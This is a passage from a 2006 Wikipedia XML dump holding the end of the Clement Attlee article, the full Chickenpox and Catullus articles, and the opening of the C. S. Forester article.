*February 1947 - [[George Tomlinson]] succeeds [[Ellen Wilkinson]] as [[Minister of Education]] upon her death.
*March 1947 - [[Arthur Greenwood]] ceases to be [[Paymaster-General]], remaining [[Lord Privy Seal]].  His successor as [[Paymaster-General]] is not in the cabinet.
*April 1947 - [[Arthur Greenwood]] becomes [[Minister without Portfolio]]. [[Philip Inman, 1st Baron Inman|Lord Inman]] succeeds [[Arthur Greenwood]] as [[Lord Privy Seal]].  [[William Francis Hare]], [[5th Earl of Listowel|Lord Listowel]] succeeds [[Lord Pethick-Lawrence]] as [[Secretary of State for India and Burma]].
*July 1947 - The [[Dominion Affairs Office]] becomes the [[Office of Commonwealth Relations]].  [[Addison]] remains at the head.
*August 1947 - [[The India and Burma Office]] becomes [[the Burma office]] with [[India's independence]].  [[Lord Listowel]] remains in office.
*September 1947 - [[Sir]] [[Stafford Cripps]] becomes [[Minister of Economic Affairs]].  [[Harold Wilson]] succeeds Cripps as [[President of the Board of Trade]]. [[Arthur Greenwood]] retires from the [[Front Bench]].
*October 1947 - [[Lord Addison]] succeeds [[Lord Inman]] as [[Lord Privy Seal]].  [[Philip Noel-Baker]] succeeds [[Lord Addison]] as [[Secretary of State for Commonwealth Relations]].  [[Arthur Woodburn]] succeeds [[Joseph Westwood]] as [[Secretary of State for Scotland]].  The [[Minister of Fuel and Power]], [[Emanuel Shinwell]], leaves the [[Cabinet]].
*November 1947 - [[Sir]] [[Stafford Cripps]] succeeds [[Hugh Dalton]] as [[Chancellor of the Exchequer]]. 
*January 1948 - The [[Burma Office]] is abolished with [[Burma's independence]].
*May 1948: [[Hugh Dalton]] re-enters the [[Cabinet]] as [[Chancellor of the Duchy of Lancaster]].  [[Frank Pakenham, 7th Earl of Longford|1st Baron Pakenham]] enters the [[Cabinet]] as [[Minister of Civil Aviation]].
*July 1948: [[Lord Addison]] becomes [[Paymaster-General]].
*April 1949: [[Lord Addison]] ceases to be [[Paymaster-General]], remaining [[Lord Privy Seal]].  His successor as [[Paymaster-General]] is not in the [[Cabinet]].

==Attlee's Cabinet 1950-1951==
February 1950: A substantial reshuffle takes place following the General Election:

*'''Clement Attlee''': Prime Minister
*[[William Jowitt|Lord Jowitt]]: [[Lord Chancellor]]
*[[Herbert Morrison (politician)|Herbert Morrison]]: [[Lord President of the Council]] and [[Leader of the House of Commons]]
*[[Christopher Addison, 1st Viscount Addison|Lord Addison]]: [[Lord Privy Seal]]
*[[Stafford Cripps|Sir Stafford Cripps]]: [[Chancellor of the Exchequer]]
*[[Ernest Bevin]]: [[Secretary of State for Foreign Affairs]]
*[[James Chuter Ede]]: [[Secretary of State for the Home Department]]
*[[Jim Griffiths]]: [[Secretary of State for the Colonies]]
*[[Patrick Gordon Walker]]: [[Secretary of State for Commonwealth Relations]]
*[[Harold Wilson]]: [[President of the Board of Trade]]
*[[A. V. Alexander|Lord Alexander]]: [[Chancellor of the Duchy of Lancaster]]
*[[George Tomlinson]]: [[Minister of Education]]
*[[Hector McNeil]]: [[Secretary of State for Scotland]]
*[[Tom Williams]]: [[Minister of Agriculture and Fisheries]]
*[[George Isaacs]]: Minister of Labour and National Service
*[[Aneurin Bevan]]: [[Secretary of State for Health|Minister of Health]]
*[[Emanuel Shinwell]]: Minister of Defence
*[[Hugh Dalton]]: Minister of Town and Country Planning

===Changes===
*October 1950: [[Hugh Gaitskell]] succeeds Sir Stafford Cripps as Chancellor of the Exchequer.
*January 1951: Aneurin Bevan succeeds George Isaacs as Minister of Labour and National Service. Bevan's successor as Minister of Health is not in the cabinet. Hugh Dalton's post is renamed Minister of Local Government and Planning.
*March 1951: Herbert Morrison succeeds Ernest Bevin as Foreign Secretary.  Lord Addison succeeds Morrison as Lord President.  Bevin succeeds Addison as Lord Privy Seal. James Chuter Ede succeeds Morrison as Leader of the House of Commons whilst remaining Home Secretary.
*April 1951: [[Richard Stokes]] succeeds Ernest Bevin as Lord Privy Seal.  [[Alf Robens]] succeeds Aneurin Bevan (resigned) as Minister of Labour and National Service. Sir [[Hartley Shawcross]] succeeds Harold Wilson (resigned) as President of the Board of Trade.

{{start box}}
{{succession box | title=[[Chancellor of the Duchy of Lancaster]] | before=[[Oswald Mosley|Sir Oswald Mosley]] | after=[[Arthur Augustus William Harry Ponsonby, 1st Baron Ponsonby of Shulbrede|The Lord Ponsonby of Shulbrede]] | years=1930&amp;ndash;1931}}
{{succession box | title=[[United Kingdom Postmaster General|Postmaster General]] | before=[[Hastings Lees-Smith]] | after=[[William Ormsby-Gore|Sir William Ormsby-Gore]] | years=1931}}
{{succession box one to two| title1=[[Labour Party (UK)|Leader of the British Labour Party]] | before=[[George Lansbury]] | after1=[[Hugh Gaitskell]] | years1=1935&amp;ndash;1955 | title2=[[Leader of the Opposition (UK)|Leader of the Opposition]] |after2=[[Hastings Lees-Smith]] | years2=1935&amp;ndash;1940}}
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{{succession box | title=[[Secretary of State for Dominion Affairs]] | before=[[Robert Arthur James Gascoyne-Cecil, 5th Marquess of Salisbury|Viscount Cranborne]] | after=[[Robert Arthur James Gascoyne-Cecil, 5th Marquess of Salisbury|Viscount Cranborne]] | years=1942&amp;ndash;1943}}
{{succession box | title=[[Lord President of the Council]] | before=[[John Anderson (UK politician)|Sir John Anderson]] | after=[[Frederick Marquis, 1st Earl of Woolton|The Lord Woolton]] | years=1943&amp;ndash;1945}}
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{{succession box one to two| before=[[Winston Churchill]] | title1=[[Prime Minister of the United Kingdom|Prime Minister of the United Kingdom]] | years1=1945&amp;ndash;1951 | after1=[[Winston Churchill]] | title2=[[Minister of Defence]] | years2=1945&amp;ndash;1946 | after2=[[A. V. Alexander]]}}
{{succession box|title=[[Leader of the Opposition (UK)|Leader of the Opposition]] | before=[[Winston Churchill]]|after=[[Hugh Gaitskell]]|years=1951&amp;ndash;1955}}
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{{succession box | title=[[Earl Attlee]] | before=New Creation | after=[[Martin Attlee, 2nd Earl Attlee|Martin Attlee]] | years=}}
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[[Category:1883 births|Attlee, Clement]]
[[Category:1967 deaths|Attlee, Clement]]
[[Category:British Army officers|Attlee, Clement]]
[[Category:British MPs|Attlee, Clement]]
[[Category:British Secretaries of State|Attlee, Clement]]
[[Category:Chancellors of the Duchy of Lancaster|Attlee, Clement]]
[[Category:Companions of Honour|Attlee, Clement]]
[[Category:Councillors in Greater London|Attlee, Clement]]
[[Category:Earls in the Peerage of the United Kingdom|Attlee, Clement]]
[[Category:Former students of University College, Oxford|Attlee, Clement]]
[[Category:Knights of the Garter|Attlee, Clement]]
[[Category:Leaders of the British Labour Party|Attlee, Clement]]
[[Category:Londoners|Attlee, Clement]]
[[Category:Lord Presidents of the Council|Attlee, Clement]]
[[Category:Lords Privy Seal|Attlee, Clement]]
[[Category:Members of the Order of Merit|Attlee, Clement]]
[[Category:Members of the Privy Council|Attlee, Clement]]
[[Category:Prime Ministers of the United Kingdom|Attlee, Clement]]
[[Category:Lecturers of the London School of Economics|Attlee, Clement]]
[[Category:Old Haileyburians|Attlee, Clement]]

[[de:Clement Attlee]]
[[es:Clement Attlee]]
[[eo:Clement ATTLEE]]
[[fr:Clement Attlee]]
[[gl:Clement Attlee]]
[[it:Clement Attlee]]
[[he:קלמנט אטלי]]
[[lt:Klementas Etlis]]
[[nl:Clement Attlee]]
[[ja:クレメント・アトリー]]
[[nn:Clement Attlee]]
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[[zh:克莱门特·艾德礼]]</text>
    </revision>
  </page>
  <page>
    <title>Chickenpox</title>
    <id>5767</id>
    <revision>
      <id>42150350</id>
      <timestamp>2006-03-04T03:45:30Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/141.152.168.201|141.152.168.201]] ([[User talk:141.152.168.201|talk]]) to last version by Arcadian</comment>
      <text xml:space="preserve">{{dablink|For the episode of [[South Park]] by that name, see [[Chickenpox (South Park)|Chickenpox (South Park)]].}}
{{DiseaseDisorder infobox |
  Name        = Chickenpox |
  ICD10       = B01  |
  ICD9        = {{ICD9|052}} |
}}

'''Chickenpox''', also spelled '''chicken pox''', is the common name for ''varicella simplex'', classically one of the childhood infectious diseases caught and survived by most children.

Chickenpox is caused by the [[varicella-zoster virus]] (VZV), also known as human herpes virus 3 (HHV-3), one of the eight [[Herpesviridae | herpes viruses]] known to affect humans. It starts with conjunctival and catarrhal symptoms, moderate [[fever]] and then characteristic spots appearing in two or three waves, mainly on the body and head rather than the hands and becoming itchy raw [[pox]] (pocks), small open sores which heal mostly without scarring.

==Effects==
[[Image:Child with chickenpox.jpg|right|250px|thumb|Child with varicella disease.]]

Chickenpox has a two-week incubation period and is highly contagious by air transmission two days before symptoms appear.  Therefore, chickenpox spreads quickly through schools and other places of close contact.  Once someone has been infected with the disease, they usually develop protective immunity for life. It is fairly rare to get the chickenpox multiple times, but it is possible for people with irregular immune systems. As the disease is more severe if contracted by an adult, parents have been known to ensure their children become infected before adulthood. 

The disease is rarely fatal: if fatality occurs, the actual death is usually from varicella [[pneumonia]], and occurs more frequently in pregnant women. In the US, 55 percent of chickenpox deaths were in the over-20 age group.  Doctors advise pregnant women not known to be immune and who come into contact with chickenpox should contact their doctor immediately, as the virus can cause serious problems for the [[fetus]].  In the UK Varicella antibodies are measured as part of the routine of antenatal care, and by 2005 all NHS healthcare personnel had determined their immunity and been immunised if they were non-immune. 

Later in life, [[virus]]es remaining in the nerves can develop into the painful disease [[shingles]], particularly in people with compromised immune systems, such as the elderly, and perhaps even those suffering [[sunburn]]. Some of these will develop zoster-associated pain or post-herpetic neuralgia, described usually as &quot;horrible&quot; or &quot;excruciating&quot;.  A chickenpox [[vaccine]] has been available since [[1995]], and is now required in some countries for children to be admitted into elementary school.  In addition, effective medications (e.g., [[aciclovir]]) are available to treat chickenpox in healthy and [[immunocompromised]] persons.
Symptomatic treatment&amp;mdash;[[calamine lotion]] to ease itching and [[paracetamol]] to reduce fever&amp;mdash;is widely used.  Aspirin is contraindicated in children with chickenpox, as it can lead to [[Reye's syndrome]].

==History==
One history of medicine book claims [[Giovanni Filippo]] ([[1510]]&amp;ndash;[[1580]]) of [[Palermo]] gave the first description of varicella (chickenpox).  Subsequently in the [[1600s]], an [[United Kingdom|English]] physician named Richard Morton described what he thought was a mild form of [[smallpox]] as &quot;chicken pox.&quot;  Later, in [[1767]], a physician named [[William Heberden]], also from England, was the first physician to clearly demonstrate that chickenpox was different from smallpox.  However, it is believed the name chickenpox was commonly used in earlier centuries before doctors identified the disease. 

There are many explanations offered for the origin of the name chickenpox:

* the specks that appear looked as though the skin was picked by chickens, 
* the disease was named after [[Chickpea|chick pea]]s, from a supposed similarity in size of the seed to the lesions
* [[Samuel Johnson]] suggested that the disease was &quot;no very great danger,&quot; thus a &quot;chicken&quot; version of the pox
* the term reflects a corruption of the Old English word, &quot;giccin&quot;, which meant &quot;itching&quot; 

As &quot;pox&quot; also means curse, in medieval times some believed it was a plague brought on to curse children by the use of black magic.  

During the medieval era, oatmeal was discovered to soothe the sores, and oatmeal baths are today still commonly given to relieve itching.

==Infection==
Chickenpox is highly infectious and spreads from person to person by direct contact or through the air from an infected person’s coughing or sneezing. Touching the fluid from a chicken pox blister can also spread the disease. A persons with chickenpox is contagious 1-2 days before the rash appears and until all blisters have formed scabs. This may take between 5-10 days[http://www.dermnetnz.org/viral/varicella.html]. It takes from 10-21 days after contact with an infected person for someone to develop chickenpox.[http://www.cdc.gov/nip/diseases/varicella/faqs-gen-disease.htm]

The chicken pox lesions (blisters) start as a 2-4 mm red papule which develops an irregular outline (rose petal). A thin-walled, clear vesicle (dew drop) develops on top of the area of redness. This &quot;dew drop on a rose petal&quot; lesion is very characteristic for chicken pox. After about 8-12 hours the fluid in the vesicle gets cloudy and the vesicle breaks leaving a crust. The fluid is highly contagious, but once the lesion crusts over, it is not considered contagious. The crust usually falls off after 7 days sometimes leaving a craterlike scar. Although one lesion goes through this complete cycle in about 7 days, another hallmark of chicken pox is the fact that new lesions crop up every day for several days. Therefore, it may take about a week until new lesions stop appearing and existing lesions crust over. Children are not sent back to school until all lesions have crusted over. [http://dermatology.about.com/cs/chickenpox/a/chickenpox.htm]

The contagious period for chickenpox begins about 2 days before the rash appears and lasts until all the blisters are crusted over. A child with chickenpox should be kept out of school until all of the blisters have dried, which is usually about 1 week, but you don't have to wait until all the scabs fall off to let your child get back to a normal schedule.
[http://kidshealth.org/parent/infections/skin/chicken_pox.html]

It is a debated fact as to whether a person, once infected with Chicken Pox can contract the disease again. Although numerous sources claim it is not possible, there have been reported cases of repeat infections.[http://www.medterms.com/script/main/art.asp?articlekey=2702][http://www.cispimmunize.org/fam/chpox/chpximm.html]

==Vaccination==
Routine vaccination against varicella zoster virus is performed mainly in the [[United States]], and the incidence of chickenpox has been dramatically reduced there (from 4 million cases per year in the pre-vaccine era to approximately 400,000 cases per year as of 2005). In [[Europe]] most countries do not currently vaccinate against varicella, though the vaccine is gaining wider acceptance. Australia, Canada, and other countries have now adopted recommendations for routine immunization of children and susceptible adults against chickenpox. Other countries, such as Germany and The United Kingdom have targeted recommendations for the vaccine, e.g. for susceptible health care workers at risk of varicella exposure.
    
Chickenpox is most often a mild disease -- especially for children. Prior to the introduction of vaccine, there were around 4,000,000 cases per year in the US, mostly children, yet typically 100 or fewer people died. Though mostly children caught it, the majority of deaths (by as much as 80%) were among adults. Additionally, chickenpox involved the hospitalization of about 10,000 people each year. During 2003 and the first half of 2004, the CDC reported eight deaths from varicella, six of whom were children or adolescents. These deaths and hospitalizations have substantially declined in the US due to vaccination, though the rate of shingles infection has increased for the same reason. The vaccine has more recently been determined to be effective at preventing shingles (zoster) in persons 60 years of age and older, if administered regularly.

The long-term duration of protection from varicella vaccine is unknown, but there are now persons vaccinated more than thirty years ago with no evidence of waning immunity, while others have become vulnerable in as few as 6 years. Assessments of duration of immunity are complicated in an environment where natural disease is still common, which typically leads to an overestimation of effectiveness, and we are only now entering an era in the US where the long-term efficacy of varicella vaccine can be accurately gauged (Goldman, 2005).

== Controversy ==
{| class=&quot;infobox bordered&quot; style=&quot;width: 25em; text-align: left; font-size: 95%;&quot;
|+ style=&quot;font-size: larger;&quot; | '''Pox Parties'''
|-

! Pox Party:
| A party held by parents for the purpose of infecting their children with childhood diseases. 
Similar ideas have applied to other diseases eg [[Measles]] but are now discouraged by doctors and health services.  
The rationale is that guests exposed to the [[varicella]] virus will contract the disease and  
develop strong and persistent [[Immune system|immunity]], at an age before disaster is likely particularly from Chickenpox or [[Rubella]]. 
Such parties are now less common in mainstream communities.  
The first reference to this is the [http://www.library.ucla.edu/libraries/biomed/smallpox/wortleyletter.html letter] of [[Mary Wortley Montagu|Lady Montagu]] to [[Sarah Chiswell]] describing the parties people in Istanbul made for the purpose of [[variolation]] - an effective effort to survive [[Smallpox]] which she imported to England.
}
|- 
! On TV:
| Portrayed in TV cartoons (South Park &quot;[[Chickenpox (South Park)|Chickenpox]]&quot; and [[The Simpsons]] &quot;[[Milhouse of Sand and Fog]]&quot;.)
|- 
| colspan=&quot;2&quot; style=&quot;font-size: smaller;&quot; | {{{footnotes|}}}
|}

Mortality due to primary varicella has declined significantly in countries which make wide use of the varicella vaccine.  Zoster (Shingles) occurs decades after varicella and unsurprisingly zoster incidence has not declined in multiple studies.  It is too early to observe the effect on [[Postherpetic neuralgia]] (PHN). 

It is common ground that the perverse effect of an increase in the more dangerous shingles may increase after introduction of varicella vaccine (Yih, ''et al.'', 2005). [http://www.herpesdoctor.com/node/506].  There is no evidence this has occurred yet, and it might occur due to falls produced by other causes of decreased childhood infection. Observation continues.

Vaccination is common in the US, 41 of the 50 states require parents to immunize their children, it is not routine in the UK.  Debate continues in the UK on the time when it will be desirable to adopt routine chickenpox vaccination, and in the US opinions that it should be dropped, individually, or [[anti-vaccinationist|along with ''all'' immunizations]], are also voiced. 

'''Duration of Immunity:''' Some vaccinated children have been found to lose their protective antibody in as little as five to eight years. The officially expected span is only 20 years. As time goes on, boosters may be determined to be necessary, and introduced.  It is common ground that if immunity declines rapidly, in the absence of re-challenge with wild virus then failure to boost immunity is likely to leave those immunised as children vulnerable to Varicella either as Chickenpox or Shingles and that in that case the disease is more dangerous than it is in childhood.

Catching wild chickenpox as a child has been thought to commonly result in lifelong immunity, indeed parents have deliberately ensured this in the past with &quot;pox parties&quot; (and similarly for some other diseases such as [[Rubella]].  Doctors generally don't advise it.).  Historically exposure of adults to spotty children has boosted their immunity, reducing the risk of shingles[http://www.herpesdoctor.com/node/506] . Second episodes of chickenpox have been rare, but occur and probably more frequently in the UK latterly{{fact}}&lt;!--it is an impresion, a clinical impression, but it needs checking and counting and not quoting AKM --&gt; and definitely more frequently in the vaccine group.   In one study, 30% of children had lost the antibody after five years, and 8% had already caught &quot;wild&quot; chickenpox in that five year period[http://www.pubmedcentral.nih.gov/articlerender.fcgi?artid=121373].

&lt;!-- immunocompromise is a different topic really --&gt;

The CDC and corresponding national organisations are carefully observing the failure rate which may be high compared with other modern vaccines - large outbreaks of chickenpox having occurred at schools which required their children to be vaccinated [http://www.wfsb.com/Global/story.asp?S=1025686][http://pediatrics.aappublications.org/cgi/content/abstract/113/3/455][http://www.al.com/news/huntsvilletimes/index.ssf?/base/news/113464189674151.xml&amp;coll=1][http://www.wpmi.com/news/state/story.aspx?content_id=90C8BF3E-0658-408B-80A8-E4854B229B45][http://health.yahoo.com/ency/healthwise/hw208205].

'''Immunocompromise''' 
The mortality rate in immunocompromised patients with disseminated herpes zoster is 5-15%, with most deaths from pneumonia. Vaccines, unfortunately are less effective among these high-risk patients, as well as being more dangerous because it is an attenuated live virus (see last footnote), but clearly immunisation before immunocompromise would be desirable.

==References==
* {{cite journal | author=G.S. Goldman. | title=Universal varicella vaccination: efficacy trends and effect on herpes zoster | journal=International Journal of Toxicology| volume=24| issue=4 | year=2005 | pages=205-213 | id=PMID 16126614}}
* {{cite journal | author=Yih WK, Brooks DR, Lett SM, Jumaan AO, Zhang Z, Clements KM, Seward JF. | title=The incidence of varicella and herpes zoster in Massachusetts as measured by the Behavioral Risk Factor Surveillance System (BRFSS) during a period of increasing varicella vaccination coverage, 1998-2003 | journal=BMC Public Health | volume=5| issue=1 | year=2005 | pages=68-68 | id=PMID 15960856}}
* Bernstein, Henry, M.D. [http://www.familyeducation.com/experts/advice/0,1183,25-26758,00.html &quot;Pediatrics Questions and Answers by Dr. Henry Bernstein: Who Discovered Chickenpox?&quot;] ''Family Education Network'' (retrieved [[16 October]], [[2005]])
* [http://www.vaccineinformation.org/varicel/qandavax.asp &quot;Chickenpox (Varicella) Vaccine.&quot;] (September [[2003]]), ''Immuunization Action Coalition'' (retrieved [[16 October]] [[2005]])
* [http://www.census.gov/cgi-bin/ipc/idbrank.pl &quot;International Data Base: Countries Ranked by Population.&quot;] ([[August 26]], 2005), [[United States Census Bureau]] (retrieved [[16 October]] [[2005]])
* Seward JF, Watson BM, Peterson CL, Mascola L, Pelosi JW, Zhang JX, Maupin TJ, Goldman GS, Tabony LJ, Brodovicz KG, Jumaan AO, Wharton M. Varicella disease after introduction of varicella vaccine in the United States, 1995-2000. ''[[JAMA]]'' 2002;287:606-11.
* Oxman MN, Levin MJ, Johnson GR, Schmader KE, Straus SE ''et al''. A vaccine to prevent herpes zoster and postherpetic neuralgia in older adults. ''[[N Engl J Med]]'' 2005;352:2271-84. PMID 15930418.
* Centers for Disease Control and Prevention (CDC). Varicella-related deaths--United States, January 2003-June 2004. ''MMWR Morb Mortal Wkly Rep'' 2005;54:272-4. [http://www.cdc.gov/mmwr/PDF/wk/mm5411.pdf Fulltext]. PMID 15788992.
* Brisson M, Gay NJ, Edmunds WJ, Andrews NJ. Exposure to varicella boosts immunity to Herpes-zoster: implications for mass vaccination against varicella. Vaccine 2002; 20: 2500-7.
* Thomas SL, Wheeler JG, Hall AJ. Contacts with varicella or with children and protection against herpes zoster in adults: a case-control study. Lancet 2002; published online [[2 July]]. (http://image.thelancet.com/extras/01art6088web.pdf)

==See also==
* [[Cowpox]]
* [[List of diseases]]
* [[List of vaccine-related topics]]
* [[Monkeypox]]
* [[Shingles]]
* [[Smallpox]]
* [[Vaccination schedule]]
* [[Vaccine controversy]]

==External links==
* [http://www.cdc.gov/nip/diseases/varicella/default.htm CDC.gov] - 'Varicella Disease (Chickenpox): Varicella, although a common disease, can be dangerous and even deadly' [[Center for Disease Control]]

[[Category:Infectious diseases]]
[[Category:Pediatrics]]

[[bg:Варицела]]
[[de:Windpocken]]
[[es:Varicela]]
[[eo:Varioleto]]
[[fr:Varicelle]]
[[id:Cacar air]]
[[it:Varicella]]
[[he:אבעבועות רוח]]
[[ja:水痘]]
[[nl:Waterpokken]]
[[pl:Ospa wietrzna]]
[[pt:Varicela]]
[[sk:Ovčie kiahne]]
[[fi:Vesirokko]]
[[sv:Vattkoppor]]
[[th:โรคอีสุกอีใส]]
[[zh:水痘]]</text>
    </revision>
  </page>
  <page>
    <title>Catullus</title>
    <id>5768</id>
    <revision>
      <id>41444038</id>
      <timestamp>2006-02-27T10:05:53Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Gaius Valerius Catullus''' (ca. [[84 BC]]-ca. [[54 BC]]) was one of the most influential Roman [[poet]]s of the [[1st century BC]]. His work is still widely studied, and his perennial influence continues to be seen in poetry and other forms of art. 

==Biography==
Little about Catullus's life is known for sure. Most sources, including [[Suetonius]] and fellow poet [[Ovid]] (Amores III.XV), agree that he was born in or near [[Verona, Italy|Verona]], although the [[Palatine Hill]] of [[Rome]] has been mentioned as an alternative ''nati loci'' (place of birth). His was a leading [[Equestrian (Roman)|equestrian]] family from Verona, but he lived in [[Rome]] most of his life. In [[57 BC]], he accompanied his friend [[Gaius Memmius (Poet)|Memmius]] to [[Bithynia]], where Memmius had received a [[propraetor]]'s post. Catullus's only political office was one year on the staff of the governor of Bithynia.

It is uncertain when Catullus died.  Some ancient sources tell he died from exhaustion at the age of thirty. He is traditionally said to have lived from [[84 BC]] until [[54 BC]]; these dates are based on the [[allusion]]s he makes in his poetry. Subsequently, his poems were appreciated by other poets and intellectuals, but politicians like [[Cicero]] despised them for their supposed amorality.  Catullus was never considered one of the canonical school authors. Nevertheless, he greatly influenced later poets, including [[Ovid]], [[Horace]], and even [[Virgil]]; after his rediscovery in the [[Middle Ages]], Catullus again found admirers. Still, his writing style, which is frequently explicit, was shocking to many readers, both ancient and modern, and until recently it was not easy to find an equally explicit translation of some of his poems. [[Jacob Rabinowitz]] has since remedied this.

==Poetry==
===Sources and organization===
Catullus's poems have been preserved in three scrolls that were copied from one (of two) copies made from a lost scroll discovered around 1300. These three surviving copies are stored at the [[National Library]] in [[Paris]], the [[Bodlean Library]] at [[Oxford]], and the [[Vatican Library]] in Rome.  These scrolls recorded Catullus's work in an [[anthology]] of 116 ''carmina'', which can be divided into three formal parts: sixty short poems in varying metres, called ''[[polymetra]]'', eight longer poems, and forty-eight [[epigram]]s.  The poems were presumably not arranged by the Catullus himself because of their chronological incongruity.

The longer poems differ from the ''polymetra'' and the epigrams not only in length but also in their subjects: There are seven [[hymn]]s and one mini-[[epic poetry|epic]].

The ''polymetra'' and the epigrams can be divided into three major [[thematic]] groups (ignoring a rather large number of poems eluding such categorization):

* poems to and about his friends (e.g., an invitation like poem 13).
* [[erotic]] poems: some of them indicate [[homosexuality|homosexual]] penchants ([[Catullus 50|50]] and [[Catullus 98|98]]), but most are about women, especially about one he calls &quot;[[Lesbia]]&quot; (in honor of the poetess [[Sappho]] of [[Lesbos Island|Lesbos]], source and inspiration of many of his poems); [[philologist]]s have taken considerable efforts to discover her real identity, and many concluded that Lesbia was [[Clodia]], sister of the infamous [[Publius Clodius Pulcher]] and a woman known for her generous sexuality, but this identification rests on some rather fragile assumptions. In the 116 poems found of Catullus, the poet displays a wide range of highly emotional and seemingly contradictory responses to Lesbia, ranging from tender love poems, to sadness and disappointment, and bitter [[sarcasm]].
* [[invective]]s: some of these often rude and sometimes downright [[obscene]] poems are targeted at friends-turned-traitors (e.g., poem [[Catullus 30|30]]) and other lovers of [[Lesbia]], but many well known poets, [[politician]]s (e.g., [[Julius Caesar]]) and [[rhetor]]s, including [[Cicero]], are thrashed as well. However, many of these poems are humorous and craftily veil the sting of the attack. For example, Catullus writes a poem mocking a pretentious descendent of a [[freedman]] who emphasizes the letter &quot;h&quot; in his speech because it makes him sound more like a learned [[Greeks|Greek]] by adding unnecessary Hs to words like ''insidias'' (ambushes).
* [[condolences]]: some poems of Catullus are, in fact, serious in nature. One poem, [[Catullus 96|96]], comforts a friend in the death of a loved one (presumably his wife or mistress), while several others, most famously [[Catullus 101|101]], lament the death of his dear brother.

All these poems describe the [[Epicurean]] lifestyle of Catullus and his friends, who, despite Catullus's temporary political post in Bithynia, lived withdrawn from [[politics]]. They were interested mainly in [[poetry]] and [[love]]. Above all other qualities, Catullus seems to havesought ''venestus'', or charm, in his acquaintances, a theme which he explores in a number of his poems.  The ancient Roman concept of ''virtus'' (i.e. of [[virtue]] that had to be proved by a political or military career), which [[Cicero]] suggested as the solution to the societal problems of the late [[Roman Republic|Republic]], meant little to them.

But it is not the traditional notions Catullus rejects, merely their monopolized application to the ''[[vita activa]]'' of politics and [[war]]. Indeed, he tries to reinvent these notions from a personal point of view and to introduce them into human relationships. For example, he applies the word ''fides'', which traditionally meant faithfulness towards one's political allies, to his relationship with Lesbia and reinterprets it as unconditional faithfulness in love. So, despite seeming frivolity of his lifestyle, Catullus measured himself and his friends by quite ambitious standards.

===Intellectual influences===
Catullus's [[poetry]] was greatly influenced by the [[ancient Greece|Greek]] ''[[neoteroi]]'', or &quot;new poets&quot;. [[Callimachus]] influenced Catullus especially, having propagated a new style of poetry which deliberately turned away from the classical [[epic poetry]] in the tradition of [[Homer]]. Catullus and [[Callimachus]] did not describe the feats of ancient [[hero]]es and [[god]]s, focusing instead on small-scale personal themes. Although these poems sometimes seem quite superficial and their subjects often are mere everyday concerns, they are accomplished works of art. Catullus described his work as ''expolitum'', or polished, to show that the language he used was very carefully and artistically composed. In contrast with the epic poetry of his time, Catullus's work was intended to evoke emotion and feeling.

Catullus was also an admirer of [[Sappho]], a poetess of the [[7th century BC]], and is the source for much of what we know or infer about her. [[Catullus 51]] is a translation of [[Sappho 31]], and [[Catullus 61|61]] and [[Catullus 62|62]] are certainly inspired by and perhaps translated directly from lost works of Sappho.  Both of the latter are ''[[Epithalamium|epithalamia]]'', a form of [[laudatory]] or erotic wedding-poetry that Sappho had been famous for but that had gone out of fashion in the intervening centuries. Catullus sometimes used a meter that Sappho developed, called the [[Sapphic strophe]]. In fact, Catullus may have brought about a substantial revival of that form in Rome. Also well known as he stole several poems from the poetess of Lesbos : Sappho ?

==See also==
* [[Catullus 1]]
* [[Catullus 2]]
* [[Catullus 3]]
* [[Catullus 4]]
* [[Catullus 6]]
* [[Catullus 7]]
* [[Catullus 8]]
* [[Catullus 9]]
* [[Catullus 10]]
* [[Catullus 11]]
* [[Catullus 12]]
* [[Catullus 13]]
* [[Catullus 14]]
* [[Catullus 14b]]
* [[Catullus 23]]
* [[Catullus 24]]
* [[Catullus 29]]
* [[Catullus 49]]
* [[Catullus 51]]
* [[Catullus 85]] (aka ''Odi et Amo'')
* [[Catullus 96]]
* [[Catullus 101]]
* [[Catullus 109]]
* [[Catullus 116]]

==External links==
{{wikiquote}}
{{wikisourcelang|la|Catullus|Catullus}}
* Catullus' work in Latin and over 25 other languages at ''Catullus Translations'': http://www.negenborn.net/catullus/
* Find other Catullus-minded people and discuss his works with them at the ''Catullus Forum'': http://www.negenborn.net/catullus/forum/
* The complete poems of Catullus at ''[[The Latin Library]]'': http://www.thelatinlibrary.com/catullus.shtml
*[http://3quarksdaily.blogs.com/3quarksdaily/2005/08/moday_musing_.html Summer Lyrics] Short essay on Catullus by Morgan Meis of [http://3quarksdaily.com ''3 Quarks Daily'']
* Poems of Catullus in Latin/English: &lt;br&gt;http://www.vroma.org/~hwalker/VRomaCatullus/list.html

[[Category:54 BC deaths]]
[[Category:84 BC births]]
[[Category:Roman era poets]]

[[cs:Gaius Valerius Catullus]]
[[da:Gaius Valerius Catullus]]
[[de:Catull]]
[[eo:Katulo]]
[[es:Cayo Valerio Catulo]]
[[eu:Catullus]]
[[fr:Catulle]]
[[hu:Catullus]]
[[it:Gaio Valerio Catullo]]
[[ja:ガイウス・ウァレリウス・カトゥルス]]
[[la:Caius Valerius Catullus]]
[[nl:Gaius Valerius Catullus]]
[[pl:Katullus]]
[[pt:Catulo]]
[[ru:Гай Валерий Катулл]]
[[sv:Catullus]]</text>
    </revision>
  </page>
  <page>
    <title>C. S. Forester</title>
    <id>5769</id>
    <revision>
      <id>40877520</id>
      <timestamp>2006-02-23T16:39:58Z</timestamp>
      <contributor>
        <username>Pegship</username>
        <id>355698</id>
      </contributor>
      <minor />
      <comment>Afr Q link</comment>
      <text xml:space="preserve">__NOTOC__
[[Image:CS Forester - Hunting The Bismarck book cover.jpg|thumb|right|The cover of the 1974 paperback edition of one of Forester's non-fiction titles: ''Hunting The Bismarck'']]

'''Cecil Scott Forester''' was the [[pen name]] of '''Cecil Louis Troughton Smith''' ([[August 27]] [[1899]] – [[April 2]], [[1966]]), an [[England|English]] novelist who rose to fame with tales of adventure with military themes.  His most notable works were the 11-book [[Horatio Hornblower]] series, about naval warfare during the [[Napoleon|Napoleonic era]], and ''[[The African Queen (novel)|The African Queen]]'' ([[1935 in literature|1935]]; filmed in [[1951 in film|1951]] by [[John Huston]]).

